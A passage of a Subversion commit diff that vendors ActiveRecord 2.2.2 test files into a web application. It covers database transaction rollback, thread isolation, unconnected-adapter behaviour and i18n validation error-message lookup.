+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def test_failing_on_exception
+    begin
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+        @second.save
+        raise "Bad things!"
+      end
+    rescue
+      # caught it
+    end
+
+    assert @first.approved?, "First should still be changed in the objects"
+    assert [email protected]?, "Second should still be changed in the objects"
+
+    assert !Topic.find(1).approved?, "First shouldn't have been approved"
+    assert Topic.find(2).approved?, "Second should still be approved"
+  end
+
+  def test_raising_exception_in_callback_rollbacks_in_save
+    add_exception_raising_after_save_callback_to_topic
+
+    begin
+      @first.approved = true
+      @first.save
+      flunk
+    rescue => e
+      assert_equal "Make the transaction rollback", e.message
+      assert !Topic.find(1).approved?
+    ensure
+      remove_exception_raising_after_save_callback_to_topic
+    end
+  end
+
+  def test_cancellation_from_before_destroy_rollbacks_in_destroy
+    add_cancelling_before_destroy_with_db_side_effect_to_topic
+    begin
+      nbooks_before_destroy = Book.count
+      status = @first.destroy
+      assert !status
+      assert_nothing_raised(ActiveRecord::RecordNotFound) { @first.reload }
+      assert_equal nbooks_before_destroy, Book.count
+    ensure
+      remove_cancelling_before_destroy_with_db_side_effect_to_topic
+    end
+  end
+
+  def test_cancellation_from_before_filters_rollbacks_in_save
+    %w(validation save).each do |filter|
+      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+      begin
+        nbooks_before_save = Book.count
+        original_author_name = @first.author_name
+        @first.author_name += '_this_should_not_end_up_in_the_db'
+        status = @first.save
+        assert !status
+        assert_equal original_author_name, @first.reload.author_name
+        assert_equal nbooks_before_save, Book.count
+      ensure
+        send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+      end
+    end
+  end
+
+  def test_cancellation_from_before_filters_rollbacks_in_save!
+    %w(validation save).each do |filter|
+      send("add_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+      begin
+        nbooks_before_save = Book.count
+        original_author_name = @first.author_name
+        @first.author_name += '_this_should_not_end_up_in_the_db'
+        @first.save!
+        flunk
+      rescue => e
+        assert_equal original_author_name, @first.reload.author_name
+        assert_equal nbooks_before_save, Book.count
+      ensure
+        send("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic")
+      end
+    end
+  end
+
+  def test_callback_rollback_in_create
+    new_topic = Topic.new(
+      :title => "A new topic",
+      :author_name => "Ben",
+      :author_email_address => "ben at example.com",
+      :written_on => "2003-07-16t15:28:11.2233+01:00",
+      :last_read => "2004-04-15",
+      :bonus_time => "2005-01-30t15:28:00.00+01:00",
+      :content => "Have a nice day",
+      :approved => false)
+    new_record_snapshot = new_topic.new_record?
+    id_present = new_topic.has_attribute?(Topic.primary_key)
+    id_snapshot = new_topic.id
+
+    # Make sure the second save gets the after_create callback called.
+    2.times do
+      begin
+        add_exception_raising_after_create_callback_to_topic
+        new_topic.approved = true
+        new_topic.save
+        flunk
+      rescue => e
+        assert_equal "Make the transaction rollback", e.message
+        assert_equal new_record_snapshot, new_topic.new_record?, "The topic should have its old new_record value"
+        assert_equal id_snapshot, new_topic.id, "The topic should have its old id"
+        assert_equal id_present, new_topic.has_attribute?(Topic.primary_key)
+      ensure
+        remove_exception_raising_after_create_callback_to_topic
+      end
+    end
+  end
+
+  def test_nested_explicit_transactions
+    Topic.transaction do
+      Topic.transaction do
+        @first.approved  = true
+        @second.approved = false
+        @first.save
+        @second.save
+      end
+    end
+
+    assert Topic.find(1).approved?, "First should have been approved"
+    assert !Topic.find(2).approved?, "Second should have been unapproved"
+  end
+
+  def test_manually_rolling_back_a_transaction
+    Topic.transaction do
+      @first.approved  = true
+      @second.approved = false
+      @first.save
+      @second.save
+
+      raise ActiveRecord::Rollback
+    end
+
+    assert @first.approved?, "First should still be changed in the objects"
+    assert [email protected]?, "Second should still be changed in the objects"
+
+    assert !Topic.find(1).approved?, "First shouldn't have been approved"
+    assert Topic.find(2).approved?, "Second should still be approved"
+  end
+
+  uses_mocha 'mocking connection.commit_db_transaction' do
+    def test_rollback_when_commit_raises
+      Topic.connection.expects(:begin_db_transaction)
+      Topic.connection.expects(:transaction_active?).returns(true) if current_adapter?(:PostgreSQLAdapter)
+      Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
+      Topic.connection.expects(:rollback_db_transaction)
+
+      assert_raise RuntimeError do
+        Topic.transaction do
+          # do nothing
+        end
+      end
+    end
+  end
+
+  def test_sqlite_add_column_in_transaction_raises_statement_invalid
+    return true unless current_adapter?(:SQLite3Adapter, :SQLiteAdapter)
+
+    # Test first if column creation/deletion works correctly when no
+    # transaction is in place.
+    #
+    # We go back to the connection for the column queries because
+    # Topic.columns is cached and won't report changes to the DB
+    
+    assert_nothing_raised do
+      Topic.reset_column_information
+      Topic.connection.add_column('topics', 'stuff', :string)
+      assert Topic.column_names.include?('stuff')
+      
+      Topic.reset_column_information
+      Topic.connection.remove_column('topics', 'stuff')
+      assert !Topic.column_names.include?('stuff')
+    end
+
+    # Test now inside a transaction: add_column should raise a StatementInvalid
+    Topic.transaction do
+      assert_raises(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
+      raise ActiveRecord::Rollback
+    end
+  end
+
+  private
+    def add_exception_raising_after_save_callback_to_topic
+      Topic.class_eval { def after_save() raise "Make the transaction rollback" end }
+    end
+
+    def remove_exception_raising_after_save_callback_to_topic
+      Topic.class_eval { remove_method :after_save }
+    end
+
+    def add_exception_raising_after_create_callback_to_topic
+      Topic.class_eval { def after_create() raise "Make the transaction rollback" end }
+    end
+
+    def remove_exception_raising_after_create_callback_to_topic
+      Topic.class_eval { remove_method :after_create }
+    end
+
+    %w(validation save destroy).each do |filter|
+      define_method("add_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
+        Topic.class_eval "def before_#{filter}() Book.create; false end"
+      end
+
+      define_method("remove_cancelling_before_#{filter}_with_db_side_effect_to_topic") do
+        Topic.class_eval "remove_method :before_#{filter}"
+      end
+    end
+end
+
+if current_adapter?(:PostgreSQLAdapter)
+  class ConcurrentTransactionTest < TransactionTest
+    use_concurrent_connections
+
+    # This will cause transactions to overlap and fail unless they are performed on
+    # separate database connections.
+    def test_transaction_per_thread
+      assert_nothing_raised do
+        threads = (1..3).map do
+          Thread.new do
+            Topic.transaction do
+              topic = Topic.find(1)
+              topic.approved = !topic.approved?
+              topic.save!
+              topic.approved = !topic.approved?
+              topic.save!
+            end
+          end
+        end
+
+        threads.each { |t| t.join }
+      end
+    end
+
+    # Test for dirty reads among simultaneous transactions.
+    def test_transaction_isolation__read_committed
+      # Should be invariant.
+      original_salary = Developer.find(1).salary
+      temporary_salary = 200000
+
+      assert_nothing_raised do
+        threads = (1..3).map do
+          Thread.new do
+            Developer.transaction do
+              # Expect original salary.
+              dev = Developer.find(1)
+              assert_equal original_salary, dev.salary
+
+              dev.salary = temporary_salary
+              dev.save!
+
+              # Expect temporary salary.
+              dev = Developer.find(1)
+              assert_equal temporary_salary, dev.salary
+
+              dev.salary = original_salary
+              dev.save!
+
+              # Expect original salary.
+              dev = Developer.find(1)
+              assert_equal original_salary, dev.salary
+            end
+          end
+        end
+
+        # Keep our eyes peeled.
+        threads << Thread.new do
+          10.times do
+            sleep 0.05
+            Developer.transaction do
+              # Always expect original salary.
+              assert_equal original_salary, Developer.find(1).salary
+            end
+          end
+        end
+
+        threads.each { |t| t.join }
+      end
+
+      assert_equal original_salary, Developer.find(1).salary
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/unconnected_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/unconnected_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/unconnected_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+require "cases/helper"
+
+class TestRecord < ActiveRecord::Base
+end
+
+class TestUnconnectedAdapter < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @underlying = ActiveRecord::Base.connection
+    @specification = ActiveRecord::Base.remove_connection
+  end
+
+  def teardown
+    @underlying = nil
+    ActiveRecord::Base.establish_connection(@specification)
+  end
+
+  def test_connection_no_longer_established
+    assert_raise(ActiveRecord::ConnectionNotEstablished) do
+      TestRecord.find(1)
+    end
+
+    assert_raise(ActiveRecord::ConnectionNotEstablished) do
+      TestRecord.new.save
+    end
+  end
+
+  def test_underlying_adapter_no_longer_active
+    assert [email protected]?, "Removed adapter should no longer be active"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/validations_i18n_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/validations_i18n_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/validations_i18n_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,921 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/reply'
+
+class ActiveRecordValidationsI18nTests < Test::Unit::TestCase
+  def setup
+    reset_callbacks Topic
+    @topic = Topic.new
+    @old_load_path, @old_backend = I18n.load_path, I18n.backend
+    I18n.load_path.clear
+    I18n.backend = I18n::Backend::Simple.new
+    I18n.backend.store_translations('en', :activerecord => {:errors => {:messages => {:custom => nil}}})
+  end
+
+  def teardown
+    reset_callbacks Topic
+    I18n.load_path.replace @old_load_path
+    I18n.backend = @old_backend
+  end
+
+  def unique_topic
+    @unique ||= Topic.create :title => 'unique!'
+  end
+
+  def replied_topic
+    @replied_topic ||= begin
+      topic = Topic.create(:title => "topic")
+      topic.replies << Reply.new
+      topic
+    end
+  end
+
+  def reset_callbacks(*models)
+    models.each do |model|
+      model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    end
+  end
+
+  def test_default_error_messages_is_deprecated
+    assert_deprecated('ActiveRecord::Errors.default_error_messages') do
+      ActiveRecord::Errors.default_error_messages
+    end
+  end
+
+  def test_percent_s_interpolation_syntax_in_error_messages_still_works
+    ActiveSupport::Deprecation.silence do
+      result = I18n.t :does_not_exist, :default => "%s interpolation syntax is deprecated", :value => 'this'
+      assert_equal result, "this interpolation syntax is deprecated"
+    end
+  end
+
+  def test_percent_s_interpolation_syntax_in_error_messages_is_deprecated
+    assert_deprecated('using %s in messages') do
+      I18n.t :does_not_exist, :default => "%s interpolation syntax is deprected", :value => 'this'
+    end
+  end
+
+  def test_percent_d_interpolation_syntax_in_error_messages_still_works
+    ActiveSupport::Deprecation.silence do
+      result = I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprecated", :count => 2
+      assert_equal result, "2 interpolation syntaxes are deprecated"
+    end
+  end
+
+  def test_percent_d_interpolation_syntax_in_error_messages_is_deprecated
+    assert_deprecated('using %d in messages') do
+      I18n.t :does_not_exist, :default => "%d interpolation syntaxes are deprected", :count => 2
+    end
+  end
+
+  # ActiveRecord::Errors
+  uses_mocha 'ActiveRecord::Errors' do
+
+    def test_errors_generate_message_translates_custom_model_attribute_key
+
+      I18n.expects(:translate).with(
+        :topic,
+        { :count => 1,
+          :default => ['Topic'],
+          :scope => [:activerecord, :models]
+        }
+      ).returns('Topic')
+
+      I18n.expects(:translate).with(
+        :"topic.title",
+        { :count => 1,
+          :default => ['Title'],
+          :scope => [:activerecord, :attributes]
+        }
+      ).returns('Title')
+
+      I18n.expects(:translate).with(
+        :"models.topic.attributes.title.invalid",
+        :value => nil,
+        :scope => [:activerecord, :errors],
+        :default => [
+          :"models.topic.invalid",
+          'default from class def error 1',
+          :"messages.invalid"],
+        :attribute => "Title",
+        :model => "Topic"
+      ).returns('default from class def error 1')
+
+      @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1'
+    end
+
+    def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti
+
+      I18n.expects(:translate).with(
+        :reply,
+        { :count => 1,
+          :default => [:topic, 'Reply'],
+          :scope => [:activerecord, :models]
+        }
+      ).returns('Reply')
+
+      I18n.expects(:translate).with(
+        :"reply.title",
+        { :count => 1,
+          :default => [:'topic.title', 'Title'],
+          :scope => [:activerecord, :attributes]
+        }
+      ).returns('Title')
+
+      I18n.expects(:translate).with(
+        :"models.reply.attributes.title.invalid",
+        :value => nil,
+        :scope => [:activerecord, :errors],
+        :default => [
+          :"models.reply.invalid",
+          :"models.topic.attributes.title.invalid",
+          :"models.topic.invalid",
+          'default from class def',
+          :"messages.invalid"],
+        :model => 'Reply',
+        :attribute => 'Title'
+      ).returns("default from class def")
+
+      Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def'
+
+    end
+
+    def test_errors_add_on_empty_generates_message
+      @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil})
+      @topic.errors.add_on_empty :title
+    end
+
+    def test_errors_add_on_empty_generates_message_with_custom_default_message
+      @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'})
+      @topic.errors.add_on_empty :title, 'custom'
+    end
+
+    def test_errors_add_on_blank_generates_message
+      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
+      @topic.errors.add_on_blank :title
+    end
+
+    def test_errors_add_on_blank_generates_message_with_custom_default_message
+      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
+      @topic.errors.add_on_blank :title, 'custom'
+    end
+
+    def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
+      @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] }
+      I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title')
+      @topic.errors.full_messages :locale => 'en'
+    end
+  end
+
+  # ActiveRecord::Validations
+  uses_mocha 'ActiveRecord::Validations' do
+    # validates_confirmation_of w/ mocha
+
+    def test_validates_confirmation_of_generates_message
+      Topic.validates_confirmation_of :title
+      @topic.title_confirmation = 'foo'
+      @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_confirmation_of_generates_message_with_custom_default_message
+      Topic.validates_confirmation_of :title, :message => 'custom'
+      @topic.title_confirmation = 'foo'
+      @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_acceptance_of w/ mocha
+
+    def test_validates_acceptance_of_generates_message
+      Topic.validates_acceptance_of :title, :allow_nil => false
+      @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_acceptance_of_generates_message_with_custom_default_message
+      Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false
+      @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_presence_of w/ mocha
+
+    def test_validates_presence_of_generates_message
+      Topic.validates_presence_of :title
+      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_presence_of_generates_message_with_custom_default_message
+      Topic.validates_presence_of :title, :message => 'custom'
+      @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_short
+      Topic.validates_length_of :title, :within => 3..5
+      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
+      Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
+      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_long
+      Topic.validates_length_of :title, :within => 3..5
+      @topic.title = 'this title is too long'
+      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
+      Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
+      @topic.title = 'this title is too long'
+      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_length_of :within w/ mocha
+
+    def test_validates_length_of_within_generates_message_with_title_too_short
+      Topic.validates_length_of :title, :within => 3..5
+      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
+      Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
+      @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_long
+      Topic.validates_length_of :title, :within => 3..5
+      @topic.title = 'this title is too long'
+      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
+      Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
+      @topic.title = 'this title is too long'
+      @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_length_of :is w/ mocha
+
+    def test_validates_length_of_is_generates_message
+      Topic.validates_length_of :title, :is => 5
+      @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_length_of_is_generates_message_with_custom_default_message
+      Topic.validates_length_of :title, :is => 5, :message => 'custom'
+      @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_uniqueness_of w/ mocha
+
+    def test_validates_uniqueness_of_generates_message
+      Topic.validates_uniqueness_of :title
+      @topic.title = unique_topic.title
+      @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'})
+      @topic.valid?
+    end
+
+    def test_validates_uniqueness_of_generates_message_with_custom_default_message
+      Topic.validates_uniqueness_of :title, :message => 'custom'
+      @topic.title = unique_topic.title
+      @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'})
+      @topic.valid?
+    end
+
+    # validates_format_of w/ mocha
+
+    def test_validates_format_of_generates_message
+      Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
+      @topic.title = '72x'
+      @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_format_of_generates_message_with_custom_default_message
+      Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom'
+      @topic.title = '72x'
+      @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_inclusion_of w/ mocha
+
+    def test_validates_inclusion_of_generates_message
+      Topic.validates_inclusion_of :title, :in => %w(a b c)
+      @topic.title = 'z'
+      @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_inclusion_of_generates_message_with_custom_default_message
+      Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom'
+      @topic.title = 'z'
+      @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_exclusion_of w/ mocha
+
+    def test_validates_exclusion_of_generates_message
+      Topic.validates_exclusion_of :title, :in => %w(a b c)
+      @topic.title = 'a'
+      @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_exclusion_of_generates_message_with_custom_default_message
+      Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom'
+      @topic.title = 'a'
+      @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_numericality_of without :only_integer w/ mocha
+
+    def test_validates_numericality_of_generates_message
+      Topic.validates_numericality_of :title
+      @topic.title = 'a'
+      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_numericality_of_generates_message_with_custom_default_message
+      Topic.validates_numericality_of :title, :message => 'custom'
+      @topic.title = 'a'
+      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_numericality_of with :only_integer w/ mocha
+
+    def test_validates_numericality_of_only_integer_generates_message
+      Topic.validates_numericality_of :title, :only_integer => true
+      @topic.title = 'a'
+      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message
+      Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom'
+      @topic.title = 'a'
+      @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_numericality_of :odd w/ mocha
+
+    def test_validates_numericality_of_odd_generates_message
+      Topic.validates_numericality_of :title, :only_integer => true, :odd => true
+      @topic.title = 0
+      @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_numericality_of_odd_generates_message_with_custom_default_message
+      Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom'
+      @topic.title = 0
+      @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_numericality_of :less_than w/ mocha
+
+    def test_validates_numericality_of_less_than_generates_message
+      Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
+      @topic.title = 1
+      @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil})
+      @topic.valid?
+    end
+
+    def test_validates_numericality_of_odd_generates_message_with_custom_default_message
+      Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom'
+      @topic.title = 1
+      @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'})
+      @topic.valid?
+    end
+
+    # validates_associated w/ mocha
+
+    def test_validates_associated_generates_message
+      Topic.validates_associated :replies
+      replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
+      replied_topic.valid?
+    end
+
+    def test_validates_associated_generates_message_with_custom_default_message
+      Topic.validates_associated :replies
+      replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
+      replied_topic.valid?
+    end
+  end
+
+  # validates_confirmation_of w/o mocha
+
+  def test_validates_confirmation_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:confirmation => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:confirmation => 'global message'}}}
+
+    Topic.validates_confirmation_of :title
+    @topic.title_confirmation = 'foo'
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_confirmation_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:confirmation => 'global message'}}}
+
+    Topic.validates_confirmation_of :title
+    @topic.title_confirmation = 'foo'
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_acceptance_of w/o mocha
+
+  def test_validates_acceptance_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:accepted => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:accepted => 'global message'}}}
+
+    Topic.validates_acceptance_of :title, :allow_nil => false
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_acceptance_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:accepted => 'global message'}}}
+
+    Topic.validates_acceptance_of :title, :allow_nil => false
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_presence_of w/o mocha
+
+  def test_validates_presence_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:blank => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:blank => 'global message'}}}
+
+    Topic.validates_presence_of :title
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_presence_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:blank => 'global message'}}}
+
+    Topic.validates_presence_of :title
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_length_of :within w/o mocha
+
+  def test_validates_length_of_within_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:too_short => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:too_short => 'global message'}}}
+
+    Topic.validates_length_of :title, :within => 3..5
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_length_of_within_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:too_short => 'global message'}}}
+
+    Topic.validates_length_of :title, :within => 3..5
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_length_of :is w/o mocha
+
+  def test_validates_length_of_within_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:wrong_length => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
+
+    Topic.validates_length_of :title, :is => 5
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_length_of_within_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
+
+    Topic.validates_length_of :title, :is => 5
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_uniqueness_of w/o mocha
+
+  def test_validates_length_of_within_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:wrong_length => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
+
+    Topic.validates_length_of :title, :is => 5
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_length_of_within_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:wrong_length => 'global message'}}}
+
+    Topic.validates_length_of :title, :is => 5
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+
+  # validates_format_of w/o mocha
+
+  def test_validates_format_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:invalid => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
+
+    Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_format_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
+
+    Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_inclusion_of w/o mocha
+
+  def test_validates_inclusion_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:inclusion => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:inclusion => 'global message'}}}
+
+    Topic.validates_inclusion_of :title, :in => %w(a b c)
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_inclusion_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:inclusion => 'global message'}}}
+
+    Topic.validates_inclusion_of :title, :in => %w(a b c)
+    @topic.valid?
+    assert_equal 'global message', @topic.errors.on(:title)
+  end
+
+  # validates_exclusion_of w/o mocha
+
+  def test_validates_exclusion_of_finds_custom_model_key_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:exclusion => 'custom message'}}}}}}
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:exclusion => 'global message'}}}
+
+    Topic.validates_exclusion_of :title, :in => %w(a b c)
+    @topic.title = 'a'
+    @topic.valid?
+    assert_equal 'custom message', @topic.errors.on(:title)
+  end
+
+  def test_validates_exclusion_of_finds_global_default_translation
+    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:exclusion => 'global message'}}}
+
+    Topic.validates_exclusion_of :title, :in => %w(a b c)
+    @topic.title = 'a'
+    @topic.valid?
